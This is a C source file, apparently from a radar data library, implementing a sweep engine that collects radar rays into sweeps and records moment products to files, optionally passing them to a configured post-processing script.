RKProduct *product = RKSweepEngineGetVacantProduct(engine, sweep, engine->baseMomentProductIds[p]);
if (product == NULL) {
RKLog("Error. Unable to get a product slot p = %d pid = %d.\n", p, engine->baseMomentProductIds[p]);
continue;
}
RKProductInitFromSweep(product, sweep);
RKSweepEngineSetProductComplete(engine, sweep, product);
productMemoryUsage += product->totalBufferSize;
}
}
engine->memoryUsage = sizeof(RKSweepEngine) + productMemoryUsage;
if (engine->productBuffer == NULL) {
RKLog("%s Unexpected NULL memory.\n", engine->name);
return NULL;
}
// Other clients may report products at the same time here, so we wait
s = 0;
bool allReported = true;
for (i = 0; i < engine->productBufferDepth; i++) {
if (engine->productBuffer[i].flag == RKProductStatusVacant) {
continue;
}
pthread_mutex_lock(&engine->productMutex);
engine->productBuffer[i].flag |= RKProductStatusSleep0;
pthread_mutex_unlock(&engine->productMutex);
while (engine->productBuffer[i].i != sweep->header.config.i &&
engine->productTimeoutSeconds * 100 > s &&
engine->state & RKEngineStateWantActive) {
usleep(10000);
if (++s % 100 == 0 && engine->verbose > 1) {
RKLog("%s sleep 0/%.1f s\n", engine->name, (float)s * 0.01f);
};
}
if (engine->verbose > 2) {
RKLog("%s %s @ i = %zu ==? %zu\n", engine->name,
RKVariableInString("productId", &engine->productBuffer[i].pid, RKValueTypeProductId), engine->productBuffer[i].i, sweep->header.config.i);
}
pthread_mutex_lock(&engine->productMutex);
engine->productBuffer[i].flag ^= RKProductStatusSleep0;
pthread_mutex_unlock(&engine->productMutex);
if (engine->productBuffer[i].i != sweep->header.config.i) {
allReported = false;
}
}
if (!(engine->state & RKEngineStateWantActive)) {
return NULL;
}
j = 0;
summary[0] = '\0';
for (i = 0; i < engine->productBufferDepth; i++) {
if (engine->productBuffer[i].flag == RKProductStatusVacant) {
continue;
}
j += snprintf(summary + j, RKMaximumCommandLength - j,
rkGlobalParameters.showColor ? " " RKLimeColor "%d" RKNoColor "/%1x" : " %d/%1x",
engine->productBuffer[i].pid, engine->productBuffer[i].flag & 0x07);
}
RKLog("%s Concluding sweep. %s %s\n", engine->name, RKVariableInString("allReported", &allReported, RKValueTypeBool), summary);
// Mark the state
engine->state |= RKEngineStateWritingFile;
// Initiate a system command with handleFileScript
if (engine->hasFileHandlingScript) {
strncpy(filelist, engine->fileHandlingScript, RKMaximumPathLength);
}
int summarySize = 0;
bool filenameTooLong;
// Product recording
for (p = 0; p < engine->productBufferDepth; p++) {
if (engine->productBuffer[p].flag == RKProductStatusVacant) {
continue;
}
RKProduct *product = &engine->productBuffer[p];
if (engine->verbose > 1) {
RKLog(">%s Gathering product %s (%s) ...\n", engine->name, product->desc.name, product->desc.symbol);
RKLog(">%s %s %s\n",
engine->name,
RKVariableInString("unit", product->desc.unit, RKValueTypeString),
RKVariableInString("colormap", product->desc.colormap, RKValueTypeString));
RKLog(">%s %s %s\n",
engine->name,
RKVariableInString("rayCount", &product->header.rayCount, RKValueTypeUInt32),
RKVariableInString("gateCount", &product->header.gateCount, RKValueTypeUInt32));
RKShowArray(product->data, product->desc.symbol, product->header.gateCount, product->header.rayCount);
}
// Full filename with symbol and extension
sprintf(product->header.suggestedFilename, "%s-%s.%s", sweep->header.filename, product->desc.symbol, engine->productFileExtension);
//strncpy(filename, product->header.suggestedFilename, RKMaximumPathLength - 80);
snprintf(filename, RKMaximumPathLength - 80, "%s", product->header.suggestedFilename) < 0 ? abort() : (void)0;
filenameTooLong = strlen(sweep->header.filename) > 48;
// Keep concatenating the filename into filelist
if (engine->hasFileHandlingScript) {
sprintf(filelist + strlen(filelist), " %s", filename);
}
// Convert data in radians to degrees if necessary
if (engine->convertToDegrees && !strcasecmp(product->desc.unit, "radians")) {
const RKFloat radiansToDegrees = 180.0f / M_PI;
RKLog("%s Converting '%s' to degrees ...", engine->name, product->desc.name);
RKFloat *x = product->data;
for (j = 0; j < product->header.gateCount * product->header.rayCount; j++) {
*x = *x * radiansToDegrees;
x++;
}
sprintf(product->desc.unit, "Degrees");
}
// Call a product writer only if the engine is set to record and the is a valid product recorder
if (engine->record && engine->productRecorder) {
if (engine->verbose > 1) {
RKLog("%s Creating %s ...\n", engine->name, filename);
}
RKPreparePath(filename);
i = engine->productRecorder(product, filename);
if (i != RKResultSuccess) {
RKLog("%s Error creating %s\n", engine->name, filename);
}
// Notify file manager of a new addition if the file handling script does not remove them
if (engine->fileManager && !(engine->fileHandlingScriptProperties & RKScriptPropertyRemoveNCFiles)) {
RKFileManagerAddFile(engine->fileManager, filename, RKFileTypeMoment);
}
} else if (engine->verbose > 1) {
RKLog("%s Skipping %s ...\n", engine->name, filename);
}
// Make a summary for logging
if (p == 0) {
// There are at least two '/'s in the filename: ...rootDataFolder/moment/YYYYMMDD/RK-YYYYMMDD-HHMMSS-Enn.n-Z.nc
summarySize = sprintf(summary, rkGlobalParameters.showColor ? RKGreenColor "%s" RKNoColor " %s%s-" RKYellowColor "%s" RKNoColor ".%s" : "%s %s%s-%s.%s",
engine->record ? "Recorded": "Skipped",
filenameTooLong ? "..." : "",
filenameTooLong ? RKLastTwoPartsOfPath(sweep->header.filename) : sweep->header.filename,
product->desc.symbol, engine->productFileExtension);
} else {
summarySize += sprintf(summary + summarySize, rkGlobalParameters.showColor ? ", " RKYellowColor "%s" RKNoColor : ", %s", product->desc.symbol);
}
}
// Unmark the state
engine->state ^= RKEngineStateWritingFile;
// We are done with the sweep
RKSweepFree(sweep);
// Show a summary of all the files created
if (summarySize) {
RKLog("%s %s\n", engine->name, summary);
}
if (engine->record && engine->hasFileHandlingScript) {
//printf("CMD: '%s'\n", filelist);
j = system(filelist);
if (j) {
RKLog("Error. CMD: %s", filelist);
RKLog("Error. Failed using system() -> %d errno = %d\n", j, errno);
}
// Potential filenames that may be generated by the custom command. Need to notify file manager about them.
RKReplaceFileExtension(filename, strrchr(filename, '-'), ".__");
if (engine->fileHandlingScriptProperties & RKScriptPropertyProduceArchive) {
if (engine->fileHandlingScriptProperties & RKScriptPropertyProduceTarXz) {
RKReplaceFileExtension(filename, "__", "tar.xz");
} else if (engine->fileHandlingScriptProperties & RKScriptPropertyProduceTgz) {
RKReplaceFileExtension(filename, "__", "tgz");
} else if (engine->fileHandlingScriptProperties & RKScriptPropertyProduceTxz) {
RKReplaceFileExtension(filename, "__", "txz");
} else {
RKReplaceFileExtension(filename, "__", "zip");
}
RKLog("%s %s", engine->name, filename);
if (engine->fileManager && RKFilenameExists(filename)) {
RKFileManagerAddFile(engine->fileManager, filename, RKFileTypeMoment);
}
}
}
return NULL;
}
#pragma mark - Delegate Workers
static void *rayGatherer(void *in) {
RKSweepEngine *engine = (RKSweepEngine *)in;
int j, n, p, s;
struct timeval t0, t1;
uint32_t is = 0; // Start index
uint64_t tic = 0; // Local copy of engine tic
pthread_t tidSweepManager = (pthread_t)0;
pthread_t tidRayReleaser = (pthread_t)0;
RKRay *ray;
RKRay **rays = engine->scratchSpaces[engine->scratchSpaceIndex].rays;
// Update the engine state
engine->state |= RKEngineStateWantActive;
engine->state ^= RKEngineStateActivating;
RKBaseProductList momentList = engine->baseProductList;
const int productCount = __builtin_popcount(momentList);
for (p = 0; p < productCount; p++) {
RKProductDesc productDescription = RKGetNextProductDescription(&momentList);
engine->baseMomentProductIds[p] = RKSweepEngineRegisterProduct(engine, productDescription);
}
if (engine->hasFileHandlingScript) {
RKLog(">%s Handle files using '%s%s%s'%s%s\n", engine->name,
rkGlobalParameters.showColor ? "\033[3;4m" : "",
engine->fileHandlingScript,
rkGlobalParameters.showColor ? "\033[23;24m" : "",
engine->fileHandlingScriptProperties & RKScriptPropertyProduceArchive ? " --> " : "",
engine->fileHandlingScriptProperties & RKScriptPropertyProduceArchive ?
(engine->fileHandlingScriptProperties & RKScriptPropertyProduceTarXz ? ".tar.xz" :
(engine->fileHandlingScriptProperties & RKScriptPropertyProduceTxz ? ".txz" :
(engine->fileHandlingScriptProperties & RKScriptPropertyProduceTgz ? ".tgz" : ".zip"))) : "");
}
RKLog("%s Started. mem = %s B rayIndex = %d\n", engine->name, RKUIntegerToCommaStyleString(engine->memoryUsage), *engine->rayIndex);
// Increase the tic once to indicate the engine is ready
engine->tic = 1;
// Update the engine state
engine->state |= RKEngineStateActive;
gettimeofday(&t1, NULL); t1.tv_sec -= 1;
j = 0; // ray index
while (engine->state & RKEngineStateWantActive) {
// The ray
ray = RKGetRayFromBuffer(engine->rayBuffer, j);
// Wait until the buffer is advanced
engine->state |= RKEngineStateSleep1;
s = 0;
while (j == *engine->rayIndex && engine->state & RKEngineStateWantActive) {
if (engine->state & RKEngineStateReserved) {
engine->state ^= RKEngineStateReserved;
if (engine->verbose) {
RKLog("%s Flushing ...\n", engine->name);
}
j = RKPreviousModuloS(j, engine->radarDescription->rayBufferDepth);
ray = RKGetRayFromBuffer(engine->rayBuffer, j);
ray->header.marker |= RKMarkerSweepEnd;
break;
}
usleep(10000);
if (++s % 100 == 0 && engine->verbose > 1) {
RKLog("%s sleep 1/%.1f s k = %d rayIndex = %d header.s = 0x%02x\n",
engine->name, (float)s * 0.01f, j, *engine->rayIndex, ray->header.s);
}
}
engine->state ^= RKEngineStateSleep1;
engine->state |= RKEngineStateSleep2;
// Wait until the ray is ready. This can never happen right? Because rayIndex only advances after the ray is ready
s = 0;
while (!(ray->header.s & RKRayStatusReady) && engine->state & RKEngineStateWantActive) {
//RKLog("%s I can happen. j = %d is = %d\n", engine->name, j, is);
usleep(10000);
if (++s % 100 == 0 && engine->verbose > 1) {
RKLog("%s sleep 2/%.1f s k = %d rayIndex = %d header.s = 0x%02x\n",
engine->name, (float)s * 0.01f, j, *engine->rayIndex, ray->header.s);
}
}
engine->state ^= RKEngineStateSleep2;
if (!(engine->state & RKEngineStateWantActive)) {
break;
}
// Lag of the engine
engine->lag = fmodf(((float)*engine->rayIndex + engine->radarDescription->rayBufferDepth - j) / engine->radarDescription->rayBufferDepth, 1.0f);
// A sweep is complete
if (ray->header.marker & RKMarkerSweepEnd) {
// Gather the rays
n = 0;
do {
ray = RKGetRayFromBuffer(engine->rayBuffer, is);
ray->header.n = is;
rays[n++] = ray;
is = RKNextModuloS(is, engine->radarDescription->rayBufferDepth);
} while (is != j && n < MIN(RKMaximumRaysPerSweep, engine->radarDescription->rayBufferDepth) - 1);
ray = RKGetRayFromBuffer(engine->rayBuffer, is);
ray->header.n = is;
rays[n++] = ray;
engine->scratchSpaces[engine->scratchSpaceIndex].rayCount = n;
if (engine->verbose > 1) {
RKLog("%s Info. RKMarkerSweepEnd is = %d j = %d n = %d\n", engine->name, is, j, n);
}
// If the sweepManager is still going, wait for it to finish, launch a new one, wait for engine->rayAnchorsIndex is grabbed through engine->tic
if (tidSweepManager) {
pthread_join(tidSweepManager, NULL);
}
tic = engine->tic;
if (pthread_create(&tidSweepManager, NULL, sweepManager, engine)) {
RKLog("%s Error. Unable to launch a sweep writer.\n", engine->name);
}
do {
usleep(50000);
} while (tic == engine->tic && engine->state & RKEngineStateWantActive);
// If the rayReleaser is still going, wait for it to finish, launch a new one, wait for engine->rayAnchorsIndex is grabbed through engine->tic
if (tidRayReleaser) {
pthread_join(tidRayReleaser, NULL);
}
tic = engine->tic;
if (pthread_create(&tidRayReleaser, NULL, rayReleaser, engine)) {
RKLog("%s Error. Unable to launch a ray releaser.\n", engine->name);
}
do {
usleep(50000);
} while (tic == engine->tic && engine->state & RKEngineStateWantActive);
// Ready for next collection while the sweepManager is busy
engine->scratchSpaceIndex = RKNextModuloS(engine->scratchSpaceIndex, RKSweepScratchSpaceDepth);
if (engine->verbose > 1) {
RKLog("%s Info. RKMarkerSweepEnd scratchSpaceIndex -> %d.\n", engine->name, engine->scratchSpaceIndex);
}
rays = engine->scratchSpaces[engine->scratchSpaceIndex].rays;
is = j;
} else if (ray->header.marker & RKMarkerSweepBegin) {
if (engine->verbose > 1) {
RKLog("%s Info. RKMarkerSweepBegin is = %d j = %d\n", engine->name, is, j);
}
if (is != j) {
// Gather the rays to release
n = 0;
do {
ray = RKGetRayFromBuffer(engine->rayBuffer, is);
ray->header.n = is;
rays[n++] = ray;
is = RKNextModuloS(is, engine->radarDescription->rayBufferDepth);
} while (is != j && n < MIN(RKMaximumRaysPerSweep, engine->radarDescription->rayBufferDepth) - 1);
engine->scratchSpaces[engine->scratchSpaceIndex].rayCount = n;
// If the rayReleaser is still going, wait for it to finish, launch a new one, wait for engine->rayAnchorsIndex is grabbed through engine->tic
if (tidRayReleaser) {
pthread_join(tidRayReleaser, NULL);
}
tic = engine->tic;
if (pthread_create(&tidRayReleaser, NULL, rayReleaser, engine)) {
RKLog("%s Error. Unable to launch a ray releaser.\n", engine->name);
}
do {
usleep(50000);
} while (tic == engine->tic && engine->state & RKEngineStateWantActive);
// Ready for next collection while the sweepManager is busy
engine->scratchSpaceIndex = RKNextModuloS(engine->scratchSpaceIndex, RKSweepScratchSpaceDepth);
if (engine->verbose > 1) {
RKLog("%s RKMarkerSweepBegin scratchSpaceIndex -> %d.\n", engine->name, engine->scratchSpaceIndex);
}
rays = engine->scratchSpaces[engine->scratchSpaceIndex].rays;
}
is = j;
}
// Record down the ray that is just processed
engine->processedRayIndex = j;
// Log a message if it has been a while
gettimeofday(&t0, NULL);
if (RKTimevalDiff(t0, t1) > 0.05) {
t1 = t0;
RKSweepEngineUpdateStatusString(engine);
}
engine->tic++;
// Update k to catch up for the next watch
j = RKNextModuloS(j, engine->radarDescription->rayBufferDepth);
}
if (tidSweepManager) {
pthread_join(tidSweepManager, NULL);
tidSweepManager = (pthread_t)0;
}
for (p = 0; p < productCount; p++) {
RKSweepEngineUnregisterProduct(engine, engine->baseMomentProductIds[p]);
}
engine->state ^= RKEngineStateActive;
return NULL;
}
#pragma mark - Life Cycle
RKSweepEngine *RKSweepEngineInit(void) {
RKSweepEngine *engine = (RKSweepEngine *)malloc(sizeof(RKSweepEngine));
if (engine == NULL) {
RKLog("Error. Unable to allocate a sweep engine.\n");
return NULL;
}
memset(engine, 0, sizeof(RKSweepEngine));
sprintf(engine->name, "%s<ProductRecorder>%s",
rkGlobalParameters.showColor ? RKGetBackgroundColorOfIndex(RKEngineColorSweepEngine) : "",
rkGlobalParameters.showColor ? RKNoColor : "");
snprintf(engine->productFileExtension, RKMaximumFileExtensionLength, "nc");
engine->state = RKEngineStateAllocated;
engine->productTimeoutSeconds = 5;
engine->baseProductList = RKBaseProductListFloatZVWDPR;
engine->productRecorder = &RKProductFileWriterNC;
engine->productBufferDepth = 10;
size_t bytes = RKProductBufferAlloc(&engine->productBuffer, engine->productBufferDepth, RKMaximumRaysPerSweep, 2000);
if (engine->productBuffer == NULL) {
RKLog("Error. Unable to allocate a product buffer for sweep engine.\n");
return NULL;
}
pthread_mutex_init(&engine->productMutex, NULL);
engine->memoryUsage = sizeof(RKSweepEngine) + bytes;
return engine;
}
void RKSweepEngineFree(RKSweepEngine *engine) {
if (engine->state & RKEngineStateWantActive) {
RKSweepEngineStop(engine);
}
pthread_mutex_destroy(&engine->productMutex);
RKProductBufferFree(engine->productBuffer, engine->productBufferDepth);
free(engine);
}
#pragma mark - Properties
void RKSweepEngineSetVerbose(RKSweepEngine *engine, const int verbose) {
engine->verbose = verbose;
}
void RKSweepEngineSetInputOutputBuffer(RKSweepEngine *engine, RKRadarDesc *desc, RKFileManager _Nullable *fileManager,
RKConfig *configBuffer, uint32_t *configIndex,
RKBuffer rayBuffer, uint32_t *rayIndex) {
engine->radarDescription = desc;
engine->fileManager = fileManager;
engine->configBuffer = configBuffer;
engine->configIndex = configIndex;
engine->rayBuffer = rayBuffer;
engine->rayIndex = rayIndex;
engine->state |= RKEngineStateProperlyWired;
}
void RKSweepEngineSetRecord(RKSweepEngine *engine, const bool value) {
engine->record = value;
}
void RKSweepEngineSetFilesHandlingScript(RKSweepEngine *engine, const char *script, const RKScriptProperty flag) {
if (RKFilenameExists(script)) {
engine->hasFileHandlingScript = true;
engine->fileHandlingScriptProperties = flag;
strcpy(engine->fileHandlingScript, script);
} else {
RKLog("%s Error. File handler script does not exist.\n", engine->name);
}
}
void RKSweepEngineSetProductRecorder(RKSweepEngine *engine, int (*routine)(RKProduct *, const char *)) {
engine->productRecorder = routine;
}
void RKSweepEngineFlush(RKSweepEngine *engine) {
int k;
uint32_t waitIndex = *engine->rayIndex;
// Make sure rayIndex no longer changes
k = 0;
do {
usleep(1000);
} while (k++ < 50 && *engine->rayIndex == waitIndex);
if (engine->verbose > 1) {
RKLog("%s Engine->state = %s tic = %zu\n", engine->name,
engine->state & RKEngineStateSleep1 ? "sleep 1" : (
engine->state & RKEngineStateSleep2 ? "sleep 2" : "-"),
engine->tic);
}
// By now we should be in sleep 1. Otherwise, we wait until it gets there
if (!(engine->state & RKEngineStateSleep1)) {
if (engine->verbose > 1) {
RKLog(">%s Wait until sleep 1 rayIndex = %u / %u tic = %zu\n", engine->name, *engine->rayIndex, waitIndex, engine->tic);
}
k = 0;
do {
usleep(10000);
if (waitIndex != *engine->rayIndex) {
waitIndex = *engine->rayIndex;
k = 0;
RKLog(">%s wait reset\n", engine->name);
}
} while (k++ < 100 && !(engine->state & RKEngineStateSleep1));
}
if (engine->verbose > 1) {
RKLog("%s Engine->state = %s rayIndex = %u / %u tic = %zu", engine->name,
engine->state & RKEngineStateSleep1 ? "sleep 1" : (
engine->state & RKEngineStateSleep2 ? "sleep 2" : "-"),
*engine->rayIndex, waitIndex,
engine->tic);
}
// sweepManager and rayReleaser each increments by 1
uint64_t tic = engine->tic + 2;
engine->state |= RKEngineStateReserved;
k = 0;
do {
usleep(10000);
} while (k++ < 200 && (engine->tic < tic || engine->state & RKEngineStateWritingFile));
if (engine->verbose > 1) {
RKLog("%s Flushed. tic = %zu / %zu k = %d\n", engine->name, engine->tic, tic, k);
}
}
#pragma mark - Interactions
int RKSweepEngineStart(RKSweepEngine *engine) {
if (!(engine->state & RKEngineStateProperlyWired)) {
RKLog("%s Error. Not properly wired.\n", engine->name);
return RKResultEngineNotWired;
}
RKLog("%s Starting ...\n", engine->name);
engine->tic = 0;
engine->state |= RKEngineStateActivating;
if (pthread_create(&engine->tidRayGatherer, NULL, rayGatherer, engine) != 0) {
RKLog("Error. Failed to start a ray gatherer.\n");
return RKResultFailedToStartRayGatherer;
}
while (engine->tic == 0) {
usleep(10000);
}
return RKResultSuccess;
}
int RKSweepEngineStop(RKSweepEngine *engine) {
if (engine->state & RKEngineStateDeactivating) {
if (engine->verbose > 1) {
RKLog("%s Info. Engine is being or has been deactivated.\n", engine->name);
}
return RKResultEngineDeactivatedMultipleTimes;
}
if (!(engine->state & RKEngineStateWantActive)) {
RKLog("%s Not active.\n", engine->name);
return RKResultEngineDeactivatedMultipleTimes;
}
RKLog("%s Stopping ...\n", engine->name);
engine->state |= RKEngineStateDeactivating;
engine->state ^= RKEngineStateWantActive;
if (engine->tidRayGatherer) {
pthread_join(engine->tidRayGatherer, NULL);
engine->tidRayGatherer = (pthread_t)0;
} else {
RKLog("%s Invalid thread ID.\n", engine->name);
}
engine->state ^= RKEngineStateDeactivating;
RKLog("%s Stopped.\n", engine->name);
if (engine->state != (RKEngineStateAllocated | RKEngineStateProperlyWired)) {
RKLog("%s Inconsistent state 0x%04x\n", engine->name, engine->state);
}
return RKResultSuccess;
}
char *RKSweepEngineStatusString(RKSweepEngine *engine) {
return engine->statusBuffer[RKPreviousModuloS(engine->statusBufferIndex, RKBufferSSlotCount)];
}
char *RKSweepEngineLatestSummary(RKSweepEngine *engine) {
return engine->scratchSpaces[engine->scratchSpaceIndex].summary;
}
RKProductId RKSweepEngineRegisterProduct(RKSweepEngine *engine, RKProductDesc desc) {
int i = 0;
RKProductId productId = 42;
while (engine->productBuffer[i].flag & RKProductStatusActive && i < RKMaximumProductCount) {
productId++;
i++;
}
if (i == RKMaximumProductCount) {
RKLog("%s Error. Unable to add anymore user products.\n", engine->name);
return 0;
}
pthread_mutex_lock(&engine->productMutex);
engine->productBuffer[i].i = 0;
engine->productBuffer[i].pid = productId;
engine->productBuffer[i].desc = desc;
engine->productBuffer[i].flag = RKProductStatusActive;
RKLog(">%s Product %s%s%s registered %s %s\n", engine->name,
rkGlobalParameters.showColor ? RKYellowColor : "",
engine->productBuffer[i].desc.symbol,
rkGlobalParameters.showColor ? RKNoColor : "",
RKVariableInString("productId", &engine->productBuffer[i].pid, RKValueTypeProductId),
RKVariableInString("name", engine->productBuffer[i].desc.name, RKValueTypeString));
pthread_mutex_unlock(&engine->productMutex);
return productId;
}
int RKSweepEngineUnregisterProduct(RKSweepEngine *engine, RKProductId productId) {
int i = 0;
while (i < RKMaximumProductCount) {
if (engine->productBuffer[i].pid == productId) {
break;
}
i++;
}
if (i == RKMaximumProductCount) {
RKLog("%s Error. Unable to locate productId = 0x%04x.\n", engine->name, productId);
return RKResultFailedToFindProductId;
}
if (engine->productBuffer[i].flag == RKProductStatusVacant) {
RKLog("%s Warning. The productId = 0x%04x is vacant.", engine->name, productId);
}
pthread_mutex_lock(&engine->productMutex);
engine->productBuffer[i].flag = RKProductStatusVacant;
RKLog(">%s Product %s%s%s unregistered\n", engine->name,
rkGlobalParameters.showColor ? RKYellowColor : "",
engine->productBuffer[i].desc.symbol,
rkGlobalParameters.showColor ? RKNoColor : "");
memset(&engine->productBuffer[i].desc, 0, sizeof(RKProductDesc));
engine->productBuffer[i].pid = 0;
pthread_mutex_unlock(&engine->productMutex);
return RKResultSuccess;
}
RKProduct *RKSweepEngineGetVacantProduct(RKSweepEngine *engine, RKSweep *sweep, RKProductId productId) {
int i = 0;
while (i < RKMaximumProductCount) {
if (engine->productBuffer[i].pid == productId) {
break;
}
i++;
}
if (i == RKMaximumProductCount) {
RKLog("%s Error. Unable to locate productId = %d.\n", engine->name, productId);
return NULL;
}
pthread_mutex_lock(&engine->productMutex);
engine->productBuffer[i].flag |= RKProductStatusSleep1;
pthread_mutex_unlock(&engine->productMutex);
return &engine->productBuffer[i];
}
int RKSweepEngineSetProductComplete(RKSweepEngine *engine, RKSweep *sweep, RKProduct *product) {
product->i = sweep->header.config.i;
if (product->flag & RKProductStatusSleep1) {
pthread_mutex_lock(&engine->productMutex);
product->flag ^= RKProductStatusSleep1;
pthread_mutex_unlock(&engine->productMutex);
} else {
RKLog("%s That is weird, this buffer has not been requested.\n", engine->name);
}
// Store a copy for the record
engine->radarDescription->productBufferDepth = engine->productBufferDepth;
engine->radarDescription->productBufferSize = engine->productBufferDepth * product->totalBufferSize;
return RKResultSuccess;
}
#pragma mark - RKSweep
RKSweep *RKSweepCollect(RKSweepEngine *engine, const uint8_t scratchSpaceIndex) {
MAKE_FUNCTION_NAME(name)
int k;
RKSweep *sweep = NULL;
if (engine->verbose > 2) {
RKLog("%s %s anchorIndex = %u\n", engine->name, name, scratchSpaceIndex);
}
uint32_t n = engine->scratchSpaces[scratchSpaceIndex].rayCount;
if (n < 2) {
if (engine->verbose > 1) {
RKLog("%s Empty sweep. n = %d anchorIndex = %u\n", engine->name, n, scratchSpaceIndex);
}
return NULL;
}
RKRay **rays = engine->scratchSpaces[scratchSpaceIndex].rays;
RKRay *S = rays[0];
RKRay *T = rays[1];
RKRay *E = rays[n - 1];
RKConfig *config = &engine->configBuffer[T->header.configIndex];
RKMomentList overallMomentList = 0;
RKBaseProductList overallBaseProductList = 0;
if (engine->verbose > 2) {
RKLog(">%s n = %d %p %p %p ... %p\n", engine->name, n, rays[0], rays[1], rays[2], rays[n - 1]);
}
// Consolidate some other information and check consistencies
uint8_t gateCountWarningCount = 0;
uint8_t gateSizeWarningCount = 0;
for (k = 0; k < n; k++) {
overallMomentList |= rays[k]->header.baseMomentList;
overallBaseProductList |= rays[k]->header.baseProductList;
if (rays[k]->header.gateCount != S->header.gateCount) {
if (++gateCountWarningCount < 5) {
RKLog("%s Warning. Inconsistent gateCount. ray[%s] has %s vs S has %s\n",
engine->name, RKIntegerToCommaStyleString(k), RKIntegerToCommaStyleString(rays[k]->header.gateCount),
RKIntegerToCommaStyleString(S->header.gateCount));
} else if (gateCountWarningCount == 5) {
RKLog("%s Warning. Inconsistent gateCount more than 5 rays / sweep.\n", engine->name);
}
}
if (rays[k]->header.gateSizeMeters != S->header.gateSizeMeters) {
if (++gateSizeWarningCount < 5) {
RKLog("%s Warning. Inconsistent gateSizeMeters. ray[%s] has %s vs S has %s\n",
engine->name, RKIntegerToCommaStyleString(k), RKFloatToCommaStyleString(rays[k]->header.gateSizeMeters),
RKFloatToCommaStyleString(S->header.gateSizeMeters));
} else if (gateSizeWarningCount == 5) {
RKLog("%s Warning. Inconsistent gateSize more than 5 rays / sweep.\n", engine->name);
}
}
}
if (engine->verbose > 1) {
RKLog("%s C%02d-%02d-%02d M%02x-%02x-%02x moments = 0x%x products = 0x%x (%s x %d, %.1f km)\n",
engine->name,
S->header.configIndex , T->header.configIndex , E->header.configIndex,
S->header.marker & 0xFF , T->header.marker & 0xFF , E->header.marker & 0xFF,
overallMomentList, overallBaseProductList,
RKIntegerToCommaStyleString(S->header.gateCount), n, 1.0e-3f * S->header.gateCount * S->header.gateSizeMeters);
}
k = 0;
if (n > 360 && n < 380) {
//RKLog("%s n = %d %d %d\n", engine->name, n, S->header.marker & RKMarkerSweepBegin, T->header.marker & RKMarkerSweepBegin);
if (T->header.marker & RKMarkerSweepBegin) {
// 361 beams but start at 1, we discard the extra first beam
n = 360;
k = 1;
} else if (n > 361) {
// From park to a first sweep, we may end up with more than 361 rays
if (E->header.marker & RKMarkerSweepEnd) {
// The end sweep is also a start of the next sweep. In this case, we have >361 rays but only need 360
k = n - 361;
n = 360;
if (engine->verbose > 1) {
RKLog("%s SweepCollect() n = %d --> %d k = %d\n", engine->name, k + 361, n, k);
}
} else {
// Otherwise, we have exactly 361 rays. Again, only need to latest 360 rays
k = n - 360;
n = 360;
if (engine->verbose > 1) {
RKLog("%s SweepCollect() n = %d --> %d k = %d\n", engine->name, k + 360, n, k);
}
}
} else if (S->header.marker & RKMarkerSweepBegin) {
// First beam is both start and end
n = 360;
}
}
S = rays[k];
T = rays[k + 1];
E = rays[k + n - 1];
if (S->header.configIndex != T->header.configIndex) {
RKLog("%s Info. Inconsistent configIndex S -> %d vs T -> %d\n", engine->name, S->header.configIndex, T->header.configIndex);
}
// Allocate the return object
sweep = (RKSweep *)malloc(sizeof(RKSweep));
if (sweep == NULL) {
RKLog("%s Error. Unable to allocate memory.\n", engine->name);
return NULL;
}
memset(sweep, 0, sizeof(RKSweep));
// Populate the contents
sweep->header.rayCount = n;
sweep->header.gateCount = S->header.gateCount;
sweep->header.gateSizeMeters = S->header.gateSizeMeters;
sweep->header.startTime = (time_t)S->header.startTime.tv_sec;
sweep->header.endTime = (time_t)E->header.endTime.tv_sec;
sweep->header.baseProductList = overallBaseProductList;
sweep->header.isPPI = (config->startMarker & RKMarkerScanTypeMask) == RKMarkerScanTypePPI;
sweep->header.isRHI = (config->startMarker & RKMarkerScanTypeMask) == RKMarkerScanTypePPI;
if (!sweep->header.isPPI && !sweep->header.isRHI) {
config = &engine->configBuffer[T->header.configIndex];
sweep->header.isPPI = (config->startMarker & RKMarkerScanTypeMask) == RKMarkerScanTypePPI;
sweep->header.isRHI = (config->startMarker & RKMarkerScanTypeMask) == RKMarkerScanTypeRHI;
RKLog("%s Using %s %s\n", engine->name,
RKVariableInString("configId", &config->i, RKValueTypeIdentifier),
RKMarkerScanTypeString(config->startMarker));
}
sweep->header.external = true;
memcpy(&sweep->header.desc, engine->radarDescription, sizeof(RKRadarDesc));
memcpy(&sweep->header.config, config, sizeof(RKConfig));
memcpy(sweep->rays, rays + k, n * sizeof(RKRay *));
// Make a suggested filename as .../[DATA_PATH]/20170119/PX10k-20170119-012345-E1.0 (no symbol and extension)
k = sprintf(sweep->header.filename, "%s%s%s/", engine->radarDescription->dataPath, engine->radarDescription->dataPath[0] == '\0' ? "" : "/", RKDataFolderMoment);
k += strftime(sweep->header.filename + k, 10, "%Y%m%d", gmtime(&sweep->header.startTime));
k += sprintf(sweep->header.filename + k, "/%s-", engine->radarDescription->filePrefix);
k += strftime(sweep->header.filename + k, 16, "%Y%m%d-%H%M%S", gmtime(&sweep->header.startTime));
if (sweep->header.isPPI) {
k += sprintf(sweep->header.filename + k, "-E%.1f", sweep->header.config.sweepElevation);
} else if (sweep->header.isRHI) {
k += sprintf(sweep->header.filename + k, "-A%.1f", sweep->header.config.sweepAzimuth);
} else {
k += sprintf(sweep->header.filename + k, "-N%03d", sweep->header.rayCount);
}
if (k > RKMaximumFolderPathLength + RKMaximumPrefixLength + 25 + RKMaximumFileExtensionLength) {
RKLog("%s Error. Suggested filename %s is longer than expected.\n", engine->name, sweep->header.filename);
}
return sweep;
}
int RKSweepFree(RKSweep *sweep) {
if (sweep == NULL) {
RKLog("No es bueno, amigo!\n");
return RKResultNullInput;
}
if (!sweep->header.external) {
if (sweep->rayBuffer == NULL) {
RKLog("Esto es malo!\n");
return RKResultNullInput;
}
RKRayBufferFree(sweep->rayBuffer);
}
free(sweep);
return RKResultSuccess;
}
| 2.375 | 2 |
2024-11-18T22:25:59.915318+00:00 | 2023-03-25T20:00:21 | a66cbf3c908a388a390fa7821aba12dd8298fc1e | {
"blob_id": "a66cbf3c908a388a390fa7821aba12dd8298fc1e",
"branch_name": "refs/heads/master",
"committer_date": "2023-03-25T20:00:21",
"content_id": "977b836caa741a503531db5f6931d725ed0b8b8d",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "2230fed63c69f87bb90ed41d17b8229828d2961d",
"extension": "h",
"filename": "sll.h",
"fork_events_count": 4,
"gha_created_at": "2019-10-06T12:16:06",
"gha_event_created_at": "2023-03-25T20:00:22",
"gha_language": "C",
"gha_license_id": "BSD-3-Clause",
"github_id": 213162722,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2305,
